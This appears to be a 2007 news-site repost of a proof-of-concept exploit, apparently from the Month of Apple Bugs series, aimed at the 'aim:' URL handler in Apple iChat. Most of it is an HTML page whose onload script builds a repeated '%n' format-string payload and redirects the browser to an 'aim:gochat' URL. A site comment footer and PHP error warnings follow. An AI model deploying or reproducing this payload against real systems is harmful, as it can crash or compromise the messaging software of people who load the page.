URL Handler Format String Exploit PoC

Jan 22 2007 18:55:16
Source: ace

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>
<title>MOAB-20-01-2007</title>
<script>
function boom() {
var str = '';
for (var i = 0; i < 20; i++) {
str = str + escape('A%n');
}
str = 'aim:gochat?roomname=' + str;
window.location = str;
}
</script>
</head>
<body onload="boom()">
</body>
</html>

» full story @ source-link: ace

Comments

Add Comment

Warning: fopen(/home/addict3d/public_html/cache//viewitem.phpiid=8619/Apple+iChat+3.1.6+v441+aim:/) [function.fopen]: failed to open stream: Not a directory in /home/addict3d/public_html/viewitem.php on line 386

Warning: fwrite(): supplied argument is not a valid stream resource in /home/addict3d/public_html/viewitem.php on line 387

Warning: fclose(): supplied argument is not a valid stream resource in /home/addict3d/public_html/viewitem.php on line 388
You must be registered and logged in to add comments!

Register
Login